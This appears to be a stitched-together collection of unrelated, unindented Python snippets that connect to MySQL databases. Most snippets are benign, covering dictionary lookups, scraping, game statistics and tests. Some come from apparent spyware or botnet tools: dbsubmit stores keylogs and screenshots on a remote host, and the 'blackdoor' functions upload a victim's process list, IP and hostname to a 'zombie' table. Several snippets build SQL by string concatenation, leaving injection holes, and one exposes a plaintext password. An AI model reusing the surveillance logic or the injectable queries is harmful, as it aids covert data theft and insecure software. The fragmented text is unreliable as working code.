def dbsubmit(tosubmit):
global TableVar
global tableName
global OSFingerprint
global RemoteIP
from mysql import connector
con = connector.Connect(user='******',password='',database='torb2',host=RemoteIP) # Switch host to remote IP / Port Forwarding necessary
cur=con.cursor()
if TableVar == 1:
tableName = "directory"
cur.execute("SELECT * FROM directory")
elif TableVar == 2:
tableName = "keylog"
cur.execute("SELECT * FROM keylog")
elif TableVar == 3:
tableName = "processes"
cur.execute("SELECT * FROM processes")
elif TableVar == 4:
tableName = "screenshot"
cur.execute("SELECT * FROM screenshot")
cur.fetchall()
rc = cur.rowcount
rc2 = rc + 1
cur.execute("""insert into %s values (%s, '%s', '%s')""" % (tableName, rc2, OSFingerprint, tosubmit))
#cur.execute("""insert into %s values (%s, '%s', load_file('%s'))""" % (tableName, rc2, OSFingerprint, tosubmit))
con.commit()
con.close()
def test_db_retrieval(self):
import mysql.connector as mysql_conn
from database import login_info
"""Connect to a database, retrieve information from a table
and get the same information as when using classFactory's function."""
db = mysql_conn.Connect(**login_info)
cursor = db.cursor()
# Retrieve two rows from the table 'animal'
cursor.execute("""SELECT name, family, weight FROM animal
WHERE family='Hyena';""")
first = cursor.fetchone()
first_test = "animal_record({0!r}, {1!r}, {2!r})".format(
first[0], first[1], first[2])
second = cursor.fetchone()
second_test = "animal_record({0!r}, {1!r}, {2!r})".format(
second[0], second[1], second[2])
# Create generator instance for assertion tests
animal_table = build_row("animal", "name family weight")
animal = animal_table.retrieve(animal_table, cursor, "family='Hyena'")
self.assertEqual(first_test, repr(next(animal)))
self.assertEqual(second_test, repr(next(animal)))
def new_post():
new=request.forms.getunicode('newword')
mean=request.forms.getunicode('newmean')
db=mysqldb.Connect(host='localhost', user='******', password='******', database='slovar',charset='utf8', use_unicode=True)
cur=db.cursor()
cur.execute("SELECT * FROM words WHERE words.word = %s ", (new,) )
print (new)
wordIDzzz=False
for row in cur.fetchall():
(wordID, word)=row
wordIDzzz=True
if wordIDzzz: # слово есть, нужно только добавить новое значение
cur.execute("INSERT INTO means (mean, word_id) VALUES (%s, %s)", (mean, wordID) )
db.commit()
cur.close()
db.close()
else: #слова нет, нужно ввести и слово и значение в базу данных
cur.execute("INSERT INTO words (word) VALUES (%s)", (new,))
db.commit()
lastID=cur.lastrowid
cur.execute("INSERT INTO means (mean, word_id) VALUES (%s, %s)", (mean, lastID) )
db.commit()
cur.close()
db.close()
redirect ("/word/%s.html" % new)
def connect():
conn = connector.Connect(host=HOST_NAME,
port=HOST_PORT,
user=MYSQL_USER,
passwd=MYSQL_PASSWD,
database=MYSQL_DATABASE,
charset=CHARSET)
return conn
def get_posts():
con = currentDB.Connect(**config)
print("Opened database for read")
cur = con.cursor()
cur.execute('SELECT * FROM posts;')
posts = cur.fetchall()
print(posts)
return posts
def __init__(self, cmds):
self._cmds = cmds
icybot_cfg.Configurable.__init__(self, self._cmds._bot._conf, "db", 0)
self._cc = mc.Connect(user=self._username,
password=self._password,
database=self._database)
self._cc.cmd_query(
"CREATE TABLE IF NOT EXISTS criticism ( title CHAR(127) not null unique , liked INTEGER not null default 0) CHARSET=utf8mb4;"
)
def create_post(username, content):
con = currentDB.Connect(**config)
print("Opened database for write")
cur = con.cursor()
post_SQL = 'INSERT INTO posts (username, content) VALUES ( ' + chr(
39) + username + chr(39) + ', ' + chr(39) + content + chr(39) + ');'
print(post_SQL)
cur.execute(post_SQL)
con.commit()
con.close()
def __connect(self):
try:
if(self.cnt == None):
self.cnt = connector.Connect(host=self.host,port=self.port,password=self.password,user=self.user,database=self.database)
return True
if self.cnt.is_connected():
return True
self.cnt.reconnect()
return True
except Exception as e:
print(e)
return False
def do1():
conn = connector.Connect(host="127.0.0.1",
user="******",
password="******",
database="scrapy_spider",
charset="utf8")
conn.autocommit = True
db0 = conn.cursor()
sql = ('SELECT * from article limit 10')
db0.execute(sql)
for row in db0:
print(*row)
conn.close()
def insertor(table_name, columns, values):
tempCon = msc.Connect(user='******',
password='',
host='127.0.0.1',
database='teamcomps_db',
port=3306)
cursor = tempCon.cursor(buffered=True)
len_thing = len(columns.split(","))
query = "INSERT INTO " + table_name + columns + "VALUES (" + "%s," * (
len_thing - 1
) + "%s) ON DUPLICATE KEY UPDATE Wins = Wins + VALUES(Wins), Losses = Losses + VALUES(Losses)"
cursor.executemany(query, values)
tempCon.commit()
def GetRuns():
try:
connection=_connector.Connect(**_dbConfig)
connection._open_connection()
cursor=connection.cursor()
cursor.callproc("GetAllRuns")
for result in cursor.stored_results():
print(result.fetchall())
except Error as e:
print(e)
finally:
cursor.close()
connection.close()
def connect(self):
try:
connection = mysql.Connect(
host=self.host,
database=self.database_name,
user=self.user,
password=self.password,
)
if connection.is_connected():
self.connection = connection
except Error as e:
print(e)
def InsertIntoDB(self):
# connect to the db and insert data
self.LoadData()
db = connector.Connect(host="127.0.0.1",
user="******",
passwd="zhyh2010",
charset="utf8",
database="pythontest")
cursor = db.cursor()
print cursor.execute(self.DROP_TABLE)
print cursor.execute(self.CREATE_TABLE)
print cursor.executemany(self.sql_model, self.values)
db.commit()
db.close()
def main():
args = parse_args()
con = connector.Connect(user='******',password='',database='vetinf',host='localhost')
cursor=con.cursor()
for table_file in args.tables:
try:
add_table(cursor, DBF(table_file,
lowernames=True,
encoding=args.encoding,
char_decode_errors=args.char_decode_errors))
except UnicodeDecodeError as err:
traceback.print_exc()
sys.exit('Please use --encoding or --char-decode-errors.')
con.commit()
def do2():
conn = connector.Connect(host="127.0.0.1",
user="******",
password="******",
database="scrapy_spider",
charset="utf8")
conn.autocommit = True
sql = 'INSERT INTO `ipdata` (`startip`,`endip`,`country`,`local`) VALUES (18684928,18684928,"内蒙古赤峰市巴林左旗","联通林东镇新城区BRAS数据机房")'
sql_tmp = 'INSERT INTO `ipdata` (`startip`,`endip`,`country`,`local`) VALUES (%s, %s, %s, %s)'
values = [(16890112, 16891391, "泰国", "曼谷"),
(16891392, 16891647, "泰国", "如果硅农"),
(16891648, 16892159, "泰国", "加拉信府")]
db0 = conn.cursor()
print(db0.execute(sql))
print(db0.executemany(sql_tmp, values))
conn.close()
def sql_handler(self, database, query):
import mysql.connector as cnn
config = {
'user': '******',
'password': '',
'host': 'localhost',
'database': database,
'raise_on_warnings': True,
}
cnx = cnn.Connect(**config)
cursor = cnx.cursor()
cursor.execute(query)
results = list(cursor.fetchall())
cursor.close()
cnx.close()
return results
def mysql_connection(mysql_host,
mysql_user,
mysql_passwd,
mysql_db,
mysql_port=3306,
mysql_charset='utf8',
mysql_connect_timeout=5000):
return connector.Connect(host=mysql_host,
user=mysql_user,
password=mysql_passwd,
database=mysql_db,
port=mysql_port,
charset=mysql_charset,
connect_timeout=mysql_connect_timeout,
autocommit=True,
use_unicode=False)
def connect(self):
try:
self.con = None
self.con = Mysql.Connect(host='172.20.0.3',
database='',
user='',
password='',
port=3306,
charset='utf8',
autocommit=True,
connect_timeout=2)
if self.con:
self.cur = None
self.cur = self.con.cursor()
except Exception as e:
print 'except in db.connect: {}'.format(e)
def loopOverFiles(directory):
writeable_events = []
num_processed = 0
temp_events = []
my_SQL_conn = msc.Connect(user='******',
password='******',
host='127.0.0.1',
database='teamcomps_db',
port=3306) # TODO config
cursor = my_SQL_conn.cursor()
for _, _, filenames in os.walk(directory):
for filename in filenames:
#get winners and losers
num_processed += 1
fullFile = os.path.join(directory, filename)
with open(fullFile, "r") as f:
try:
matchDict = json.load(f)
temp_events = process_match(
matchDict
) # seperate this line and the next so that we can keep count of "valid" matches
num_processed += 1
if (not temp_events):
continue # don't fail for malformed games
writeable_events.extend(temp_events)
if (len(writeable_events) >= 1000):
# write events to database, and clear the array
cursor.executemany(insert_matches_command(),
writeable_events)
writeable_events.clear()
except Exception as error:
print(fullFile)
print(str(error))
traceback.print_exc()
if (writeable_events):
cursor.executemany(insert_matches_command(), writeable_events)
my_SQL_conn.commit()
my_SQL_conn.close()
print("Number matches processed: " + str(num_processed))
def save_email(recipients, starttime, daysout):
conn = msc.Connect(**login_info)
curs = conn.cursor()
curs.execute("""CREATE DATABASE IF NOT EXISTS MailDB""")
curs.execute("""USE MailDB""")
curs.execute("DROP TABLE IF EXISTS messages")
conn.commit()
curs.execute(settings.TABLEDEF)
conn.commit()
for day in range(daysout):
date_time = starttime + datetime.timedelta(days=day)
for recipient_name, recipient_address in recipients:
data = ("Test", date_time, "Eddie", "*****@*****.**",
recipient_name, recipient_address, "JOTD")
curs.execute(
"""
INSERT INTO messages (msgMessageID, msgDate, msgSenderName,
msgSenderAddress, msgRecipientName, msgRecipientAddress, msgText)
VALUES (%s, %s, %s, %s, %s, %s, %s)""", data)
conn.close()
def __enter__(self, *args, **kwargs):
# Connect to the database
self.db_config = {
'host': SQL_HOST,
'port': SQL_PORT,
'database': SQL_DB,
'user': SQL_USER,
'password': SQL_PASS,
'charset': 'utf8mb4',
'use_unicode': True,
'get_warnings': True,
'autocommit': True,
'raise_on_warnings': False
}
self.connection = sql.Connect(**self.db_config)
self.cursor = self.connection.cursor(dictionary=True)
return self
def __init__(self,host,user,password,port,db):
self.__host = host
self.__user = user
self.__password = password
self.__port = port
self.__db = db
try:
config = {
'host': self.__host,
'port': self.__port,
'database': self.__db,
'user': self.__user,
'password': self.__password,
'charset': 'utf8',
'use_unicode': True,
'get_warnings': True,
}
self.__cn = connector.Connect(**config)
self.__cur = self.__cn.cursor()
except connector.Error as e:
print("init error %d: %s" % (e.args[0], e.args[1]))
def procGet():
global grab
processesGathered = []
proccesesStr = ""
c = wmi.WMI()
for process in c.Win32_Process():
processesGathered.append("%s - [%s]" %
(process.Name, process.ProcessId))
for pgathered in processesGathered:
proccesesStr = proccesesStr + pgathered + "\n"
print proccesesStr
# Perfect auto-inc for DB
from mysql import connector
con = connector.Connect(user='******',
password='',
database='blackdoor',
host='localhost')
cur = con.cursor()
cur.execute("SELECT * FROM process_table")
cur.fetchall()
rc = cur.rowcount
#print rc
rc2 = rc + 1
cur.execute("""insert into process_table values (%s, '%s')""" %
(rc2, proccesesStr))
con.commit()
con.close()
print "Processes uploaded successfully."
def addToZombieTable():
platName = platform.node()
IPCatch = socket.gethostbyname(socket.gethostname())
today = str(date.today())
# Perfect auto-inc for DB
from mysql import connector
con = connector.Connect(user='******',
password='',
database='blackdoor',
host='localhost')
cur = con.cursor()
cur.execute("SELECT * FROM hosts")
cur.fetchall()
rc = cur.rowcount
#print rc
rc2 = rc + 1
cur.execute("""insert into hosts values (%s, '%s', '%s', '%s')""" %
(rc2, IPCatch, platName, today))
con.commit()
con.close()
print "Broadcast to the mother ship!"
def main():
mySQLConn = msc.Connect(user = '******', password = '', host = '127.0.0.1', database = 'teamcomps_db', port = 3306)
cursor = mySQLConn.cursor(buffered = True)
cursor.execute("SELECT * FROM winlosseventfactwide limit 1") # bc jordan is a wimp
res = {}
cacheDict = {}
row = cursor.fetchone()
while row is not None:
rowChamps = []
rowCacheComps = []
is_win, match_id, time_of_entry, patch, region, duration = row[:5]
for idx, champ in enumerate(row[6:]):
if champ == 1 or champ == "":
rowChamps.append(sorted_name_to_key[idx])
rowCacheComps = calculateCacheComps(rowChamps)
for comp in rowCacheComps:
tempKey = ",".join(sorted(comp))
tempKey += "," + str(patch) + "," + str(region)
# region patch champs
if tempKey not in cacheDict:
cacheDict[tempKey] = {'games': 0, 'wins': 0}
if is_win:
cacheDict[tempKey]['wins'] += 1
cacheDict[tempKey]['games'] += 1
row = cursor.fetchone()
cursor.close()
def answer(word): #Проверяет, если слово есть в словаре - выводит его значение. Если нет - пишет сообщение
db=mysqldb.Connect(host='localhost', user='******', password='******', database='slovar',charset='utf8', use_unicode=True)
cur=db.cursor()
cur.execute("SELECT * FROM words WHERE words.word = %s ", (word,) )
print (word)
wordID=False
for row in cur.fetchall():
(wordID, word)=row
print (wordID)
if not wordID:
cur.close()
db.close()
return (word) + '<br>' + "Такого слова нет"
#здесь мы уже знаем wordID и можем делать запрос на получение значений
cur.execute("SELECT * FROM means WHERE word_id= %s ", (wordID,) )
meanlist=[]
for row in cur.fetchall():
(id, mean, id_word)=row
meanlist.append(mean)
cur.close()
db.close()
return word + '<br>' + str(meanlist)
def extract_info_import_db(in_path='txt',
database='yidaiyilu',
table='data',
user='******',
password='******',
fun=11):
"""
根据文件名提取信息(编号)：【序号】，【证券代码】，【日期】，【公司简称】，【标题】，【公告序号】，【移动】
:param in_path: 输入路径
:param out_path: 输出路径
:param out_file: 输出文件名
:return:
"""
if not fun == 11:
return
print("【提取信息到数据库】")
if not os.path.exists(in_path):
print("路径不存在：" + in_path)
return;
# 1.创建数据库
conn = mysql.Connect(user=user, password=password)
cursor = conn.cursor()
cursor.execute("create database if not exists " + database)
conn.commit()
conn.database = database
# 2.创建表
sql = """CREATE TABLE IF NOT EXISTS `%s` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`文件名` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`证券代码` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`日期` date DEFAULT NULL,
`公告序号` int(11) DEFAULT NULL,
`公司简称` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`标题` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`内容` longtext CHARACTER SET utf8 COLLATE utf8_general_ci,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;""" % table
cursor.execute(sql)
conn.commit()
sql = "INSERT INTO `" + table + "` (id, `文件名`, `证券代码`, `日期`, `公告序号`, `公司简称`, `标题`, `内容`) VALUES (null, %s, %s, %s, %s, %s, %s, %s);"
codedate2num = {}
files = os.listdir(in_path)
err_files = []
# 序号
row_num = 0
datas = []
for i, file in enumerate(files):
sys.stdout.write('\r%d / %d' % (i+1, len(files)))
match = re.match('(\d{6})-(.*)：(.*)\((\d{4}-\d{1,2}-\d{1,2})\)', file)
if match:
# 证券代码
code = match.group(1)
# 公司简称
firm = match.group(2)
# 标题
title = match.group(3)
# 日期
date = match.group(4)
key = code + date
num = codedate2num.setdefault(key, 0) + 1
codedate2num[key] = num
row_num += 1
content = ''
with open(os.path.join(in_path, file), encoding='gbk', errors='ignore') as f:
content = f.read().replace(' ', '').replace('\t', '').replace('\n', '').replace('\r', '').replace(
'..', '')
# 添加到数据库
cursor.execute(sql, [file, code, date, num, firm, title, content])
conn.commit()
datas.append(
{'序号': row_num, '证券代码': str(code), '公司简称': firm, '标题': title, '日期': date, '公告序号': num, '移动': 0})
print('\n提取完成')
def extract_from_baodao(in_path='baodao',
database='baodao',
table='dada',
user='******',
password='******',
fun=9):
if not fun == 9:
return
print("【报道信息提取】")
if not os.path.exists(in_path):
print('文件夹不存在：' + in_path)
return
# 失败的文件名
failed_file = 'match_failed_files.txt' # 匹配失败错误的文件名
conflict_file = 'match_conflict_files.txt' # 匹配冲突错误的文件名(匹配到多个)
dup_file = 'match_dup_files.txt' # 重复错误的文件名
# 删除失败的文件
# os.remove(failed_file) if os.path.exists(failed_file) else 1
# os.remove(conflict_file) if os.path.exists(conflict_file) else 1
# os.remove(dup_file) if os.path.exists(dup_file) else 1
# 连接数据库：user用户名，password密码，database数据库名
conn = mysql.Connect(user=user, password=password, database=database)
cursor = conn.cursor()
# 所有待导入的文件
files = os.listdir(in_path)
for i, file in enumerate(files):
sys.stdout.write('\r%d / %d' % (i + 1, len(files)))
# 从文件名里提取标题
title = file
# 去除000.txt
if len(title) > 7:
title = title[:-7]
# 去除中英文的空格，把_替换成:
title = title.replace("_", ':').replace(" ", '').replace(" ", '')
# 读入文件
with open(os.path.join(in_path, file), 'r', encoding='gbk', errors='ignore') as f:
lines = f.readlines()
for line in lines:
# 提取报杜名称和日期
if '报' in line and '年' in line and '月' in line and '日' in line:
line = line.replace(' ', '').replace('/', '').replace('\n', '').replace('\r', '')
match = re.search(r'(.*报)(\d{4})年(\d{1,2})月(\d{1,2})日', line)
# 提取文件内容
content = ''.join(lines).replace(' ', '').replace('\t', '').replace('\n', '').replace('\r', '').replace(
'..', '')
if match:
office = match.group(1) # 报杜
year = match.group(2) # 年
month = match.group(3) # 月
day = match.group(4) # 日
# 年月日拼接成日期
date = '%d-%02d-%02d' % (int(year), int(month), int(day))
update_sql = "update " + table + " set 内容=%s where 报纸名称=%s and 日期=%s and (LOCATE(%s, 题名) or LOCATE(题名, %s))"
query_sql = "select count(*) from " + table + " where 报纸名称=%s and 日期=%s and (LOCATE(%s, 题名) or LOCATE(题名, %s))"
query_sql1 = "select count(*) from " + table + " where 报纸名称=%s and 日期=%s and (LOCATE(%s, 题名) or LOCATE(题名, %s)) and LENGTH(内容)>0"
# 判断是否已经存在
cursor.execute(query_sql1, [office, date, title, title])
num = cursor.fetchone()[0]
if num > 0:
append(file, dup_file)
# 查询匹配到的个数
cursor.execute(query_sql, [office, date, title, title])
num = cursor.fetchone()[0]
if num == 0: # 匹配失败
append(file, failed_file)
elif num == 1: # 匹配成功
cursor.execute(update_sql, [content, office, date, title, title])
conn.commit()
else: # 匹配冲突
append(file, conflict_file)
break
cursor.close()
conn.close()
print('处理完成')
# 显示是否有匹配失败的文件
num = getNum(failed_file)
if num > 0:
print('匹配失败的个数: %d, 请看文件: %s' % (num, failed_file))
# 显示是否有匹配冲突的文件
num = getNum(conflict_file)
if num > 0:
print('匹配多个的个数: %d, 请看文件: %s' % (num, conflict_file))
# 显示是否有匹配重复的文件
num = getNum(dup_file)
if num > 0:
print('匹配重复的个数: %d, 请看文件: %s' % (num, dup_file))
NOTE: This test creates the message table, dropping any
previous version and should leave it empty. DANGER: this
test will delete any existing message table.
"""
from glob import glob
from email import message_from_string
import mysql.connector as msc
from database import login_info
import maildb
import unittest
import datetime
from email.utils import parsedate_tz, mktime_tz
conn = msc.Connect(**login_info)
curs = conn.cursor()
TBLDEF = """\
CREATE TABLE message (
msgID INTEGER AUTO_INCREMENT PRIMARY KEY,
msgMessageID VARCHAR(128),
msgSenderName VARCHAR(128),
msgSenderAddress VARCHAR(128),
msgDate DATETIME,
msgText LONGTEXT
)"""
# FILESPEC = "C:/PythonData/*.eml"
FILESPEC = "/TestEmails/*.eml"
class testRealEmail_traffic(unittest.TestCase):
def getConnection():
return connector.Connect(host='127.0.0.1',
database='fonte_sentimento_stf',
user='******',
password='')
